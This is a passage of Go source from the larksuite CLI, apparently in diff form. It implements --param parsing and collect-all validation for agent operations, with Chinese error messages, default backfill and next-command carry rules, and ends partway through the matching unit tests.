// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// This file is the per-verb business-parameter engine: --param k=v parsing,
|
||||
// collect-all validation against one operation's declared set (every violation
|
||||
// reported in one pass, each self-contained enough to fix without a discovery
|
||||
// round-trip), default backfill, and the meta.next carry rule.
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
)
|
||||
|
||||
// flatParams expands declarations to value-bearing leaves: scalars keep their
|
||||
// name, an object contributes one leaf per Field under "obj.field" dotted
|
||||
// names (leaf attributes rule). The object entry itself is NOT value-bearing
|
||||
// and is excluded. Order is declaration order (meta.next determinism).
|
||||
func flatParams(declared []iagents.CardParam) []iagents.CardParam {
|
||||
out := make([]iagents.CardParam, 0, len(declared))
|
||||
for _, cp := range declared {
|
||||
if cp.Type == "object" {
|
||||
for _, f := range cp.Fields {
|
||||
leaf := f
|
||||
leaf.Name = cp.Name + "." + f.Name
|
||||
out = append(out, leaf)
|
||||
}
|
||||
continue
|
||||
}
|
||||
out = append(out, cp)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// objectDecls indexes the top-level object params by name.
|
||||
func objectDecls(declared []iagents.CardParam) map[string]iagents.CardParam {
|
||||
out := map[string]iagents.CardParam{}
|
||||
for _, cp := range declared {
|
||||
if cp.Type == "object" {
|
||||
out[cp.Name] = cp
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// validatedParams is the engine's product: Resolved is what the runtime hands
|
||||
// to the provider hook (defaults backfilled); Given is only what the caller
|
||||
// explicitly provided (no defaults) — the meta.next carry rule reads Given so
|
||||
// backfilled defaults never turn into command-line noise.
|
||||
type validatedParams struct {
|
||||
Resolved map[string]string
|
||||
Given map[string]string
|
||||
}
|
||||
|
||||
// addParamFlag registers the shared --param flag on a leaf (two-line helper,
|
||||
// same style as addAsFlag).
|
||||
func addParamFlag(cmd *cobra.Command, params *[]string) {
|
||||
cmd.Flags().StringArrayVar(params, "param", nil, "业务参数 key=value,可重复(各命令所需参数见 lark-cli agents card <agent_ref> --operation <verb>)")
|
||||
}
|
||||
|
||||
// validateParams parses --param pairs and validates them against ONE
|
||||
// operation's declared parameter set, collecting ALL violations into a single
|
||||
// typed invalid_argument error (exit 2). spec is used for the cross-operation
|
||||
// reverse lookup on unknown keys ("它声明在: send") and may be nil (agents list
|
||||
// path). Passing validation backfills declaration defaults into Resolved.
|
||||
func validateParams(kvs []string, declared []iagents.CardParam, verb string, spec *iagents.AgentSpec, ref string) (validatedParams, error) {
|
||||
// decl indexes the value-bearing leaves: scalars by name, object fields by
|
||||
// dotted "obj.field" names — the canonical flat form every downstream
|
||||
// consumer (Resolved, meta.next, rt.Params()) speaks.
|
||||
leaves := flatParams(declared)
|
||||
decl := make(map[string]iagents.CardParam, len(leaves))
|
||||
for _, p := range leaves {
|
||||
decl[p.Name] = p
|
||||
}
|
||||
objects := objectDecls(declared)
|
||||
|
||||
// seen 记录“这个 key 在 argv 里出现过”(重复检测 + 抑制误报的 missing-
|
||||
// required 都看它);given 只收录通过校验的值(Resolved/meta.next 都看它)。
|
||||
// 两张表必须分开:值校验失败的 key 若不进 seen,重复提供会漏报、缺必填会误报
|
||||
// (参数明明给了、只是值不对,再报一条“缺少必填”是自相矛盾的指令)。
|
||||
// objChannel 记录每个对象走的通道(dotted|json),同一对象混用两通道报错,
|
||||
// 不做静默合并。
|
||||
seen := map[string]bool{}
|
||||
given := map[string]string{}
|
||||
objChannel := map[string]string{}
|
||||
var viols []errs.InvalidParam
|
||||
|
||||
addViol := func(name, reason string, spec *iagents.CardParam, suggestions ...string) {
|
||||
v := errs.InvalidParam{Name: name, Reason: reason, Suggestions: suggestions}
|
||||
if spec != nil {
|
||||
v.Spec = *spec
|
||||
}
|
||||
viols = append(viols, v)
|
||||
}
|
||||
|
||||
// ── parse + per-key checks(一次收集全部)──
|
||||
for _, kv := range kvs {
|
||||
k, val, ok := strings.Cut(kv, "=")
|
||||
if !ok || k == "" {
|
||||
addViol(kv, fmt.Sprintf("--param 格式应为 key=value,得到 %q", kv), nil)
|
||||
continue
|
||||
}
|
||||
if seen[k] {
|
||||
addViol(k, fmt.Sprintf("参数 %s 重复提供(该参数不可重复)", k), nil)
|
||||
continue
|
||||
}
|
||||
seen[k] = true
|
||||
|
||||
// ── 对象的 JSON 整值通道:key 恰是对象名 ──
|
||||
if obj, isObj := objects[k]; isObj {
|
||||
if objChannel[k] == "dotted" {
|
||||
addViol(k, fmt.Sprintf("参数 %s 以 JSON 与点路径混合提供(同一对象只能选一种通道)", k), nil)
|
||||
continue
|
||||
}
|
||||
objChannel[k] = "json"
|
||||
validateObjectJSON(k, val, obj, verb, seen, given, addViol)
|
||||
continue
|
||||
}
|
||||
|
||||
// ── 点路径通道:key 带 ".",指向对象的某个叶子 ──
|
||||
if top, leaf, dotted := strings.Cut(k, "."); dotted {
|
||||
obj, isObj := objects[top]
|
||||
if !isObj {
|
||||
reason, sugg := unknownParamReason(k, verb, leaves, spec)
|
||||
addViol(k, reason, nil, sugg...)
|
||||
continue
|
||||
}
|
||||
if objChannel[top] == "json" {
|
||||
addViol(k, fmt.Sprintf("参数 %s 以 JSON 与点路径混合提供(同一对象只能选一种通道)", top), nil)
|
||||
continue
|
||||
}
|
||||
objChannel[top] = "dotted"
|
||||
cp, known := decl[k]
|
||||
if !known {
|
||||
addViol(k, fmt.Sprintf("未知参数 %s(%s 可用字段: %s)", k, top, fieldNames(obj)), nil, dottedFieldNames(obj)...)
|
||||
continue
|
||||
}
|
||||
_ = leaf
|
||||
if val == "" {
|
||||
if cp.Required {
|
||||
addViol(k, fmt.Sprintf("必填参数 %s 不能为空值(%s 必填)", k, verb), &cp)
|
||||
}
|
||||
continue
|
||||
}
|
||||
if err := iagents.ValidateValue(cp, val); err != nil {
|
||||
addViol(k, fmt.Sprintf("参数 %s %s", k, err.Error()), &cp, cp.Enum...)
|
||||
continue
|
||||
}
|
||||
given[k] = canonicalValue(cp, val)
|
||||
continue
|
||||
}
|
||||
|
||||
cp, known := decl[k]
|
||||
if !known {
|
||||
reason, sugg := unknownParamReason(k, verb, leaves, spec)
|
||||
addViol(k, reason, nil, sugg...)
|
||||
continue
|
||||
}
|
||||
if val == "" {
|
||||
// `k=` 空值统一按“未提供”处理(不进 given ⇒ 不遮蔽 Default 回填、
|
||||
// 不把未过 Type/Enum/Range 校验的 "" 交给 hook——rt.Params() 契约)。
|
||||
// 必填参数额外报专属违规;可选参数省略即得默认值,无需报错。
|
||||
if cp.Required {
|
||||
addViol(k, fmt.Sprintf("必填参数 %s 不能为空值(%s 必填)", k, verb), &cp)
|
||||
}
|
||||
continue
|
||||
}
|
||||
if err := iagents.ValidateValue(cp, val); err != nil {
|
||||
addViol(k, fmt.Sprintf("参数 %s %s", k, err.Error()), &cp, cp.Enum...)
|
||||
continue
|
||||
}
|
||||
given[k] = canonicalValue(cp, val)
|
||||
}
|
||||
|
||||
// ── missing required(对着平铺声明反查;argv 里出现过的 key 不再重复报——
|
||||
// 它要么已通过、要么已带着更精确的违规)──
|
||||
for _, cp := range leaves {
|
||||
if !cp.Required || seen[cp.Name] {
|
||||
continue
|
||||
}
|
||||
c := cp
|
||||
addViol(cp.Name, fmt.Sprintf("缺少必填参数 %s(%s 必填)", cp.Name, verb), &c)
|
||||
}
|
||||
|
||||
if len(viols) > 0 {
|
||||
return validatedParams{}, paramsError(viols, verb, ref)
|
||||
}
|
||||
|
||||
// ── default 回填(只作用于完全缺席的键)──
|
||||
resolved := make(map[string]string, len(given))
|
||||
for k, v := range given {
|
||||
resolved[k] = v
|
||||
}
|
||||
for _, cp := range leaves {
|
||||
if cp.Default == "" {
|
||||
continue
|
||||
}
|
||||
if _, ok := resolved[cp.Name]; !ok {
|
||||
resolved[cp.Name] = cp.Default
|
||||
}
|
||||
}
|
||||
return validatedParams{Resolved: resolved, Given: given}, nil
|
||||
}
|
||||
|
||||
// validateObjectJSON is the JSON fallback channel: parse the value as a JSON
|
||||
// object, validate each member against the declared Fields with the SAME leaf
|
||||
// rules as the dotted channel, and normalize accepted members into flat dotted
|
||||
// keys — a provider never sees which channel the caller used. Numbers decode
|
||||
// via json.Number so "100" stays "100" (no float re-rendering).
|
||||
func validateObjectJSON(name, val string, obj iagents.CardParam, verb string, seen map[string]bool, given map[string]string, addViol func(string, string, *iagents.CardParam, ...string)) {
|
||||
if val == "" {
|
||||
return // `obj=` 空值 = 未提供(与标量语义一致)
|
||||
}
|
||||
dec := json.NewDecoder(strings.NewReader(val))
|
||||
dec.UseNumber()
|
||||
var anyVal any
|
||||
if err := dec.Decode(&anyVal); err != nil {
|
||||
addViol(name, fmt.Sprintf("参数 %s 的 JSON 无法解析(%v);也可用点路径逐字段传:--param %s.<field>=<value>", name, err, name), nil)
|
||||
return
|
||||
}
|
||||
raw, isObj := anyVal.(map[string]any)
|
||||
if !isObj {
|
||||
// 语法合法但不是对象(数组/字符串/数字/布尔/null)——用调用方词汇描述,
|
||||
// 不泄漏 Go 反序列化的内部类型文案。
|
||||
addViol(name, fmt.Sprintf(`参数 %s 需为 JSON 对象(如 {"k":"v"}),得到 %s;也可用点路径逐字段传:--param %s.<field>=<value>`, name, jsonKindName(anyVal), name), nil)
|
||||
return
|
||||
}
|
||||
fields := map[string]iagents.CardParam{}
|
||||
for _, f := range obj.Fields {
|
||||
fields[f.Name] = f
|
||||
}
|
||||
for fk, fv := range raw {
|
||||
full := name + "." + fk
|
||||
seen[full] = true
|
||||
cp, ok := fields[fk]
|
||||
if !ok {
|
||||
addViol(full, fmt.Sprintf("未知参数 %s(%s 可用字段: %s)", full, name, fieldNames(obj)), nil, obj.FieldNamesList()...)
|
||||
continue
|
||||
}
|
||||
var sval string
|
||||
switch tv := fv.(type) {
|
||||
case string:
|
||||
sval = tv
|
||||
case json.Number:
|
||||
sval = tv.String()
|
||||
case bool:
|
||||
sval = strconv.FormatBool(tv)
|
||||
case nil:
|
||||
continue // null = 未提供
|
||||
default:
|
||||
addViol(full, fmt.Sprintf("参数 %s 不支持嵌套结构(对象字段只能是标量)", full), &cp)
|
||||
continue
|
||||
}
|
||||
if sval == "" {
|
||||
if cp.Required {
|
||||
c := cp
|
||||
c.Name = fk
|
||||
addViol(full, fmt.Sprintf("必填参数 %s 不能为空值(%s 必填)", full, verb), &c)
|
||||
}
|
||||
continue
|
||||
}
|
||||
if err := iagents.ValidateValue(cp, sval); err != nil {
|
||||
c := cp
|
||||
addViol(full, fmt.Sprintf("参数 %s %s", full, err.Error()), &c, cp.Enum...)
|
||||
continue
|
||||
}
|
||||
given[full] = canonicalValue(cp, sval)
|
||||
}
|
||||
}
|
||||
|
||||
// fieldNames renders an object's field list for teaching errors.
|
||||
func fieldNames(obj iagents.CardParam) string {
|
||||
return strings.Join(obj.FieldNamesList(), ", ")
|
||||
}
|
||||
|
||||
// unknownParamReason builds the teaching sentence for an undeclared key: if
|
||||
// another operation of the same spec declares it, name those operations(改动
|
||||
// 词就能修);otherwise list this operation's own parameter set(改拼写就能修).
|
||||
func unknownParamReason(key, verb string, declared []iagents.CardParam, spec *iagents.AgentSpec) (string, []string) {
|
||||
if spec != nil {
|
||||
var elsewhere []string
|
||||
for _, o := range spec.Ops() {
|
||||
if o.Verb == verb || !o.Wired {
|
||||
continue
|
||||
}
|
||||
for _, p := range flatParams(o.Params) {
|
||||
if p.Name == key {
|
||||
elsewhere = append(elsewhere, o.Verb)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(elsewhere) > 0 {
|
||||
sort.Strings(elsewhere)
|
||||
// suggestions 保持单一语义(可直接替换的参数名候选):动词名不是参数,
|
||||
// 不进 suggestions——「声明在: X」的教学已在 reason 里。
|
||||
return fmt.Sprintf("参数 %s 不适用于 %s(它声明在: %s)", key, verb, strings.Join(elsewhere, ", ")), nil
|
||||
}
|
||||
}
|
||||
known := make([]string, 0, len(declared))
|
||||
for _, p := range declared {
|
||||
known = append(known, p.Name)
|
||||
}
|
||||
if len(known) == 0 {
|
||||
return fmt.Sprintf("未知参数 %s(%s 不接受任何业务参数)", key, verb), nil
|
||||
}
|
||||
// suggestions 按编辑距离给「可直接替换」的近似候选(typo 一步可修);
|
||||
// 没有近似命中时退回声明序全集。message 始终列全集(发现面完整)。
|
||||
sugg := nearestNames(key, known, 2)
|
||||
if len(sugg) == 0 {
|
||||
sugg = known
|
||||
}
|
||||
return fmt.Sprintf("未知参数 %s(%s 可用参数: %s)", key, verb, strings.Join(known, ", ")), sugg
|
||||
}
|
||||
|
||||
// nearestNames returns the candidates within maxDist Levenshtein distance of
|
||||
// key, nearest first (stable for ties by candidate order).
|
||||
func nearestNames(key string, candidates []string, maxDist int) []string {
|
||||
type scored struct {
|
||||
name string
|
||||
d int
|
||||
}
|
||||
var hits []scored
|
||||
for _, c := range candidates {
|
||||
if d := levenshtein(key, c); d <= maxDist {
|
||||
hits = append(hits, scored{c, d})
|
||||
}
|
||||
}
|
||||
sort.SliceStable(hits, func(i, j int) bool { return hits[i].d < hits[j].d })
|
||||
out := make([]string, 0, len(hits))
|
||||
for _, h := range hits {
|
||||
out = append(out, h.name)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// levenshtein is the classic two-row edit distance over runes.
|
||||
func levenshtein(a, b string) int {
|
||||
ra, rb := []rune(a), []rune(b)
|
||||
prev := make([]int, len(rb)+1)
|
||||
cur := make([]int, len(rb)+1)
|
||||
for j := range prev {
|
||||
prev[j] = j
|
||||
}
|
||||
for i := 1; i <= len(ra); i++ {
|
||||
cur[0] = i
|
||||
for j := 1; j <= len(rb); j++ {
|
||||
cost := 1
|
||||
if ra[i-1] == rb[j-1] {
|
||||
cost = 0
|
||||
}
|
||||
cur[j] = min(min(cur[j-1]+1, prev[j]+1), prev[j-1]+cost)
|
||||
}
|
||||
prev, cur = cur, prev
|
||||
}
|
||||
return prev[len(rb)]
|
||||
}
|
||||
|
||||
func min(a, b int) int {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
// jsonKindName names a decoded JSON value's kind in caller vocabulary.
|
||||
func jsonKindName(v any) string {
|
||||
switch v.(type) {
|
||||
case []any:
|
||||
return "数组"
|
||||
case string:
|
||||
return "字符串"
|
||||
case json.Number:
|
||||
return "数字"
|
||||
case bool:
|
||||
return "布尔值"
|
||||
case nil:
|
||||
return "null"
|
||||
default:
|
||||
return "非对象值"
|
||||
}
|
||||
}
|
||||
|
||||
// canonicalValue normalizes an ACCEPTED scalar to its canonical wire form so a
|
||||
// provider receives one deterministic literal regardless of the input variant
|
||||
// or channel: boolean TRUE/1/t → true|false, integer +5/04 → 5/4. The JSON
|
||||
// channel already produces canonical literals for native types; this closes
|
||||
// the dotted-path (and JSON string-member) variants to the same form. Values
|
||||
// that reach here have passed ValidateValue, so parse errors are impossible;
|
||||
// the input is returned unchanged as a defensive fallback.
|
||||
func canonicalValue(cp iagents.CardParam, val string) string {
|
||||
switch cp.Type {
|
||||
case "boolean":
|
||||
if b, err := strconv.ParseBool(val); err == nil {
|
||||
return strconv.FormatBool(b)
|
||||
}
|
||||
case "integer":
|
||||
if n, err := strconv.ParseInt(val, 10, 64); err == nil {
|
||||
return strconv.FormatInt(n, 10)
|
||||
}
|
||||
case "number":
|
||||
if f, err := strconv.ParseFloat(val, 64); err == nil {
|
||||
return strconv.FormatFloat(f, 'g', -1, 64)
|
||||
}
|
||||
}
|
||||
return val
|
||||
}
|
||||
|
||||
// dottedFieldNames returns an object's field names in their full dotted form
|
||||
// (directly substitutable --param keys).
|
||||
func dottedFieldNames(obj iagents.CardParam) []string {
|
||||
out := make([]string, 0, len(obj.Fields))
|
||||
for _, f := range obj.Fields {
|
||||
out = append(out, obj.Name+"."+f.Name)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// paramsError folds collected violations into one typed error: a single
|
||||
// violation keeps its sentence as the message (continuity with the old
|
||||
// one-error style); several get a count summary, with every violation carried
|
||||
// structurally in params[].
|
||||
func paramsError(viols []errs.InvalidParam, verb, ref string) error {
|
||||
msg := viols[0].Reason
|
||||
if len(viols) > 1 {
|
||||
msg = fmt.Sprintf("%s 参数校验失败:%d 处问题(详见 params)", verb, len(viols))
|
||||
}
|
||||
e := errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", msg).
|
||||
WithParam("param:" + viols[0].Name).
|
||||
WithParams(viols...)
|
||||
return e.WithHint("%s", opHint(ref, verb))
|
||||
}
|
||||
|
||||
// validateListParams is the `agents list <scheme>` variant of validateParams:
|
||||
// list is a provider-level operation with no agent_ref yet, so there is no
|
||||
// spec for cross-operation reverse lookup, and the discovery hint points at
|
||||
// the provider listing's list_parameters instead of an agent card.
|
||||
func validateListParams(kvs []string, declared []iagents.CardParam, scheme string) (validatedParams, error) {
|
||||
vp, err := validateParams(kvs, declared, "list", nil, "")
|
||||
if err != nil {
|
||||
var verr *errs.ValidationError
|
||||
if errors.As(err, &verr) {
|
||||
verr.Hint = fmt.Sprintf("按 params 逐条修正后重发;agents list %s 的可用参数见 lark-cli agents list 输出的 providers[].list_parameters", scheme)
|
||||
}
|
||||
return validatedParams{}, err
|
||||
}
|
||||
return vp, nil
|
||||
}
|
||||
|
||||
// opHint is the operation-scoped discovery hint(ref 过白名单才内插命令).
|
||||
func opHint(ref, verb string) string {
|
||||
if safeNextRef(ref) {
|
||||
return fmt.Sprintf("按 params 逐条修正后重发;或运行 lark-cli agents card %s --operation %s 查看参数声明", ref, verb)
|
||||
}
|
||||
return "按 params 逐条修正后重发;或用 agents card 的 --operation 子查询查看参数声明"
|
||||
}
|
||||
|
||||
// paramArgsFor renders the meta.next carry for target verb V per the
|
||||
// three-way rule, in declaration order:
|
||||
// 1. given + value passes the whitelist → carry literally;
|
||||
// 2. given + value fails the whitelist → required degrades to a placeholder
|
||||
// (template), optional is dropped(宁缺毋歧义);
|
||||
// 3. absent but required on V → placeholder (template) — the cross-verb hole:
|
||||
// without this, "链上不丢必填" only holds when the previous verb happened
|
||||
// to share the parameter.
|
||||
//
|
||||
// Defaults are NOT carried (the next hop deterministically re-backfills).
|
||||
func paramArgsFor(spec *iagents.AgentSpec, verb string, given map[string]string) (args string, templated bool) {
|
||||
if spec == nil {
|
||||
return "", false
|
||||
}
|
||||
op, ok := spec.Op(verb)
|
||||
if !ok {
|
||||
return "", false
|
||||
}
|
||||
var b strings.Builder
|
||||
for _, p := range flatParams(op.Params) {
|
||||
v, has := given[p.Name]
|
||||
switch {
|
||||
case p.NoCarry:
|
||||
// 每次调用应给新值的参数:给过也不字面上链;必填的降级占位,提醒
|
||||
// 调用方填一个新值(而不是复用上一次的)。
|
||||
if p.Required {
|
||||
fmt.Fprintf(&b, " --param %s=<%s>", p.Name, p.Name)
|
||||
templated = true
|
||||
}
|
||||
case has && v != "" && safeNextID(v):
|
||||
fmt.Fprintf(&b, " --param %s=%s", p.Name, v)
|
||||
case p.Required:
|
||||
fmt.Fprintf(&b, " --param %s=<%s>", p.Name, p.Name)
|
||||
templated = true
|
||||
}
|
||||
}
|
||||
return b.String(), templated
|
||||
}
|
||||
658
cmd/agents/params_test.go
Normal file
658
cmd/agents/params_test.go
Normal file
@@ -0,0 +1,658 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
)
|
||||
|
||||
// paramSpec builds a spec with a send declaration (required ws + enum/default
|
||||
// priority + ranged integer) and a task_list declaration sharing ws — the
|
||||
// cross-operation reverse-lookup and three-way-carry test bed.
|
||||
func paramSpec() *iagents.AgentSpec {
|
||||
ws := iagents.CardParam{Name: "workspace_id", Type: "string", Required: true, Desc: "目标工作区"}
|
||||
return &iagents.AgentSpec{
|
||||
Send: iagents.SendOp{
|
||||
Params: []iagents.CardParam{
|
||||
ws,
|
||||
{Name: "priority", Type: "string", Enum: []string{"low", "normal", "high"}, Default: "normal"},
|
||||
{Name: "max_results", Type: "integer", Min: iagents.Float(1), Max: iagents.Float(100), Default: "20"},
|
||||
},
|
||||
Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil },
|
||||
},
|
||||
GetTask: iagents.TaskGetOp{Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil }},
|
||||
ListTasks: iagents.TaskListOp{
|
||||
Params: []iagents.CardParam{ws},
|
||||
Handler: func(context.Context, iagents.Runtime, string, iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error) {
|
||||
return nil, iagents.PageInfo{}, nil
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// TestValidateParams_CollectAll pins the batch contract: every violation in ONE
|
||||
// error — two missing requireds are impossible on one decl set, so mix missing
|
||||
// required + unknown key + enum violation and assert all three violations
|
||||
// surface with self-contained specs.
|
||||
func TestValidateParams_CollectAll(t *testing.T) {
|
||||
spec := paramSpec()
|
||||
_, err := validateParams(
|
||||
[]string{"priority=urgent", "bogus=1"},
|
||||
spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
|
||||
if err == nil {
|
||||
t.Fatal("should fail with collected violations")
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) {
|
||||
t.Fatalf("want *errs.ValidationError, got %T", err)
|
||||
}
|
||||
if len(verr.Params) != 3 {
|
||||
t.Fatalf("want 3 violations (enum + unknown + missing required), got %d: %+v", len(verr.Params), verr.Params)
|
||||
}
|
||||
byName := map[string]errs.InvalidParam{}
|
||||
for _, v := range verr.Params {
|
||||
byName[v.Name] = v
|
||||
}
|
||||
// enum violation lists the full set and embeds the spec
|
||||
if v := byName["priority"]; !strings.Contains(v.Reason, "low|normal|high") || v.Spec == nil {
|
||||
t.Errorf("priority violation should list the enum set and embed spec, got %+v", v)
|
||||
}
|
||||
// unknown key lists this operation's available params
|
||||
if v := byName["bogus"]; !strings.Contains(v.Reason, "workspace_id") {
|
||||
t.Errorf("unknown-key violation should list available params, got %+v", v)
|
||||
}
|
||||
// missing required embeds the full declaration so the caller can fix without
|
||||
// a discovery round-trip
|
||||
v := byName["workspace_id"]
|
||||
if !strings.Contains(v.Reason, "缺少必填参数") || v.Spec == nil {
|
||||
t.Fatalf("missing-required violation should embed spec, got %+v", v)
|
||||
}
|
||||
if sp, ok := v.Spec.(iagents.CardParam); !ok || sp.Desc != "目标工作区" {
|
||||
t.Errorf("embedded spec should be the full CardParam, got %+v", v.Spec)
|
||||
}
|
||||
// multi-violation message is a count summary; hint points at --operation
|
||||
if !strings.Contains(verr.Message, "3 处问题") {
|
||||
t.Errorf("multi-violation message should carry the count, got %q", verr.Message)
|
||||
}
|
||||
if !strings.Contains(verr.Hint, "--operation send") {
|
||||
t.Errorf("hint should point at card --operation send, got %q", verr.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestValidateParams_CrossOpReverseLookup pins the "它声明在" teaching error: a
|
||||
// param declared on send but passed to task_get names where it lives.
|
||||
func TestValidateParams_CrossOpReverseLookup(t *testing.T) {
|
||||
spec := paramSpec()
|
||||
_, err := validateParams([]string{"priority=high"}, spec.GetTask.Params, iagents.VerbTaskGet, spec, "acme:reporter")
|
||||
if err == nil || !strings.Contains(err.Error(), "不适用于 task_get") || !strings.Contains(err.Error(), "它声明在: send") {
|
||||
t.Fatalf("cross-op teaching error expected, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestValidateParams_RulesTable covers the remaining violation kinds one by one.
|
||||
func TestValidateParams_RulesTable(t *testing.T) {
|
||||
spec := paramSpec()
|
||||
base := []string{"workspace_id=ws_42"}
|
||||
cases := []struct {
|
||||
name string
|
||||
kvs []string
|
||||
want string
|
||||
}{
|
||||
{"duplicate", append(base, "workspace_id=ws_43"), "重复提供"},
|
||||
{"empty required", []string{"workspace_id="}, "不能为空值"},
|
||||
{"malformed", append(base, "noequals"), "key=value"},
|
||||
{"type mismatch", append(base, "max_results=abc"), "integer"},
|
||||
{"range violation", append(base, "max_results=500"), "1..100"},
|
||||
{"zero-param op given a param", nil, ""},
|
||||
}
|
||||
for _, tc := range cases[:5] {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
_, err := validateParams(tc.kvs, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
|
||||
if err == nil || !strings.Contains(err.Error()+errHint(err), tc.want) {
|
||||
t.Fatalf("want %q in error, got %v", tc.want, err)
|
||||
}
|
||||
})
|
||||
}
|
||||
// value containing '=' splits on the first '=' only
|
||||
vp, err := validateParams(append(base, "priority=high"), spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
|
||||
if err != nil || vp.Given["workspace_id"] != "ws_42" {
|
||||
t.Fatalf("valid set should pass: %v %v", vp, err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestValidateParams_EmptyOptionalTreatedAsAbsent pins the review fix (blocker):
|
||||
// `k=` on an OPTIONAL param counts as not provided — no violation, no entry in
|
||||
// Given, and the declared Default still backfills Resolved, so no unvalidated
|
||||
// "" can ever reach a hook (the rt.Params() contract).
|
||||
func TestValidateParams_EmptyOptionalTreatedAsAbsent(t *testing.T) {
|
||||
spec := paramSpec()
|
||||
vp, err := validateParams([]string{"workspace_id=ws_42", "max_results="}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
|
||||
if err != nil {
|
||||
t.Fatalf("empty optional should not violate: %v", err)
|
||||
}
|
||||
if got := vp.Resolved["max_results"]; got != "20" {
|
||||
t.Errorf("empty optional must not shadow the default (backfill still applies), got %q", got)
|
||||
}
|
||||
if _, ok := vp.Given["max_results"]; ok {
|
||||
t.Errorf("empty optional must not enter Given, got %v", vp.Given)
|
||||
}
|
||||
// empty on a declared optional with default: default wins in Resolved
|
||||
vp2, err := validateParams([]string{"workspace_id=ws_42", "priority="}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
|
||||
if err != nil {
|
||||
t.Fatalf("empty optional should not violate: %v", err)
|
||||
}
|
||||
if vp2.Resolved["priority"] != "normal" {
|
||||
t.Errorf("empty optional must not shadow the default, got %q", vp2.Resolved["priority"])
|
||||
}
|
||||
// duplicate detection still sees the empty occurrence
|
||||
_, err = validateParams([]string{"workspace_id=ws_42", "priority=", "priority=high"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
|
||||
if err == nil || !strings.Contains(err.Error()+errHint(err), "重复提供") {
|
||||
t.Fatalf("duplicate after empty occurrence must be reported, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestValidateParams_NoFalseMissingOnInvalidValue pins the review fix: a
|
||||
// required param given an INVALID value reports exactly the value violation —
|
||||
// never an additional contradictory "缺少必填参数"; and a duplicate after an
|
||||
// invalid first value is reported as duplicate, not as the same violation twice.
|
||||
func TestValidateParams_NoFalseMissingOnInvalidValue(t *testing.T) {
|
||||
spec := paramSpec()
|
||||
// make workspace_id enum-constrained for this test via a local declaration
|
||||
decl := []iagents.CardParam{{Name: "mode", Type: "string", Required: true, Enum: []string{"a", "b"}}}
|
||||
_, err := validateParams([]string{"mode=zzz"}, decl, iagents.VerbSend, spec, "acme:reporter")
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
if len(verr.Params) != 1 {
|
||||
t.Fatalf("invalid value must yield exactly 1 violation (no false missing-required), got %d: %+v", len(verr.Params), verr.Params)
|
||||
}
|
||||
if !strings.Contains(verr.Params[0].Reason, "a|b") {
|
||||
t.Errorf("the one violation should be the enum violation, got %+v", verr.Params[0])
|
||||
}
|
||||
// duplicate after invalid first value → enum violation + duplicate violation
|
||||
_, err = validateParams([]string{"mode=zzz", "mode=zzz"}, decl, iagents.VerbSend, spec, "acme:reporter")
|
||||
if !errors.As(err, &verr) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
if len(verr.Params) != 2 {
|
||||
t.Fatalf("want enum violation + duplicate violation, got %d: %+v", len(verr.Params), verr.Params)
|
||||
}
|
||||
kinds := verr.Params[0].Reason + verr.Params[1].Reason
|
||||
if !strings.Contains(kinds, "a|b") || !strings.Contains(kinds, "重复提供") {
|
||||
t.Errorf("want one enum + one duplicate violation, got %+v", verr.Params)
|
||||
}
|
||||
}
|
||||
|
||||
// objSpec is the object-param test bed: send declares a filter object
|
||||
// (required enum leaf + optional ranged leaf + defaulted bool leaf) and a
|
||||
// NoCarry trace param shared with task_get.
|
||||
func objSpec() *iagents.AgentSpec {
|
||||
trace := iagents.CardParam{Name: "trace_tag", NoCarry: true, Required: true, Desc: "调用链标记(每次新值)"}
|
||||
return &iagents.AgentSpec{
|
||||
Send: iagents.SendOp{
|
||||
Params: []iagents.CardParam{
|
||||
trace,
|
||||
{Name: "filter", Type: "object", Desc: "过滤条件", Fields: []iagents.CardParam{
|
||||
{Name: "region", Enum: []string{"east", "west"}, Required: true},
|
||||
{Name: "min_amount", Type: "number", Min: iagents.Float(0)},
|
||||
{Name: "active", Type: "boolean", Default: "true"},
|
||||
}},
|
||||
},
|
||||
